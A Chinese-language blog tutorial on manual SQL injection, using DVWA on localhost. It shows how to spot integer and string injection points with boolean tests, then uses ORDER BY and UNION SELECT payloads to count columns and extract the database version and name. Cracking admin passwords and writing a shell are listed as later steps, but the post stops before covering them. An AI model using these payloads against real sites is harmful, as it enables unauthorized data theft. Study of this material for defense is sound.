•   站长QQ3308757747
  •   官方Q群:1057658362

浅析SQL注入

摘要: 注入点判断get整数型提交url为http://127.0.0.1/?id=1假设表名为dvwa,则sql语句为select * from dvwa where...

注入点判断

get

  1. 整数型

提交url为

http://127.0.0.1/?id=1

假设表名为dvwa,则sql语句为

select * from dvwa where id=1

加单引号报错

当提交为下面的url时

http://127.0.0.1/?id=1 and 1=1

sql语句为

select * from dvwa where id=1 and 1=1

逻辑正确且无语法错误所以返回正常而当提交为下面的url时

http://127.0.0.1/?id=1 and 1=2

sql语句为

select * from dvwa where id=1 and 1=2

语法正确,但1=2中逻辑错误,所以会抛出错误

    2.字符型

提交url为

http://127.0.0.1/search.php?keyboard=admin

假设表名为dvwa,则sql语句为

select * from dvwa where keyboard='admin'

加单引号不报错

可以看到 keyboard参数的内容会被加上闭合单引号所以当我们提交下面url时

  and 1=1

sql语句为

select * from dvwa where keyboard='admin and 1=1'

1=1被放在了闭合单引号里被转换成了字符串并不会被当作逻辑表达式执行

逻辑表达式中也可以比较字符串,所以我们可以构造

http://127.0.0.1/search.php?keyboard=admin' and '1'='1

所以提交上去keyboard参数的内容是 admin' and '1'='1 ,sql语句为

select * from dvwa where keyboard='admin' and '1'='1'

这样'1'='1'就会被执行了,这时语法正确且逻辑正确,再次构造

http://127.0.0.1/search.php?keyboard=admin' 'and '1'='2

则sql语句为

select * from dvwa where keyboard='admin' and '1'='2'

语法正确但逻辑错误,会抛出错误则为字符型注入。

手工注入流程 

    1.判断注入点类型(上文)

    2.猜字段数

order by慢慢猜,超出范围会报错

我这里dvwa有5个字段

    3.判断回显位置

回显位置.png

查询结果显示在这里, 继续执行

1' union select 1,2,...#

 发现select后查询数大于等于3个的时候会报错,也就是说最多有2个回显

  4.判断数据库信息

执行

1' union select version(),database()#

 顺便查个库名

数据库信息和库名.png

   5.查库名

    6.查表名

    7.查列名

    8.查字段

    9.猜解后台口令

    10.写shell

时间关系剩下的明天写


本文链接:http://www.my-index.cn/?id=26

版权声明:转载请注明转自“my-index.cn”

分享到:

上一篇:

下一篇:

发表评论

评论列表

还没有评论,快来说点什么吧~

歌曲 - 歌手
0:00